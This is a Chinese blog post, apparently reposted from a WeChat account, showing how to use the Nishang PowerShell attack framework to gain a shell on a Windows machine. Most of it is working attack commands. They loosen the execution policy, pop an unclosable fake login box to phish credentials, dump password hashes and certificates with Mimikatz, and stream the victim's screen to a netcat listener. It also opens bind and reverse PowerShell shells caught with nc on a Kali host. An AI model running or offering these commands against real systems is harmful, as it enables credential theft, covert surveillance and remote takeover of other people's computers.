Nishang
是一个PowerShell
攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang
的各种姿势获取一个shell
。
🥤项目下载
proxychains4 git clone https://github.com/samratashok/nishang
为了加快下载速度,我用了proxychains4
代理。
🍭配置
nishang
的使用是要在PowerShell 3.0
以上的环境中才可以正常使用。这里我以win10为例。
首先修改执行策略
为防止恶意脚本的运行,powershell
有一个执行策略,默认情况下该执行策略被设置为Restricted
受限,而Restricted
是不允许任何脚本运行的。我们可以在powershell
中执行下面命令,查看当前的策略。
Get-ExecutionPolicy
-
Restricted
: 脚本不能运行(默认设置) -
RemoteSigned
: 本地创建的脚本可以运行,但从网上下载的脚本不能运行 -
AllSigned
: 仅当脚本由受信任的发布者签名时才能运行 -
Unrestricted
: 允许所有的script脚本运行
修改策略
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
加载脚本
现在我们需要到nishang
的目录下,加载脚本。
Import-Module ./nishang.psm1
虽然有各种各样的报错,但无视即可。
查看导入的模块
Get-Command -Module nishang
🍐使用
这里我将最常用的几个命令进行演示,其他的命令自行尝试。获取当前计算机所有信息。
Get-Information
欺骗目标输入账号信息
Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的,执行后会弹出登录框欺骗用户输入账号密码信息, 最流氓的是这个框是关不掉的,用户只有输入正确的账号密码这个框才会消失。
端口扫描
我们可以利用FireBuster
对局域网的任意一台设备进行端口扫描。如扫描192.168.123.1
这台设备的22
-80
所有的端口。
FireBuster 192.168.123.1 22-80 -Verbose
导出hash
利用Get-PassHashes
这个模块,可以导出当前设备中的所有hash值。当前需要管理员权限才可以。
实时监控电脑屏幕
使用MJPEG
传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。首先我们在kali中执行下面命令
netcat -nlvp 1521 | netcat -nlvp 9999
然后再目标机执行
Show-TargetScreen -Reverse -IPAddress 192.168.123.23 -Port 1521
导出计算机凭证
没错,这里我们用Mimikatz
模块可以导出当前计算机的所有凭证。导出本机的凭证信息
Invoke-Mimikatz -DumpCerts
🍒交互式shell
正向连接
在目标主机执行命令
Invoke-PowerShellTcp -Bind -Port 1521
然后在kali中执行命令
nc -nv 192.168.123.129 1521
这样我们便在kali中得到了会话反弹。
反向连接
在目标主机执行命令
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.123.33 -Port 1433
在kali中执行命令
nc -lvp 1433
同样也可以得到反弹。
🌻总结
Nishang
框架是一款不错的渗透测试神器。但是由于PowerShell
版本问题,可能在win7系统及以下不能正常实现。当然这里大表哥没有windows服务器,所以服务器环境也没有测试,感兴趣的可以自己玩玩。
更多精彩文章 欢迎关注我们
原文始发于微信公众号(kali黑客笔记):玩转渗透测试框架NiShang
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论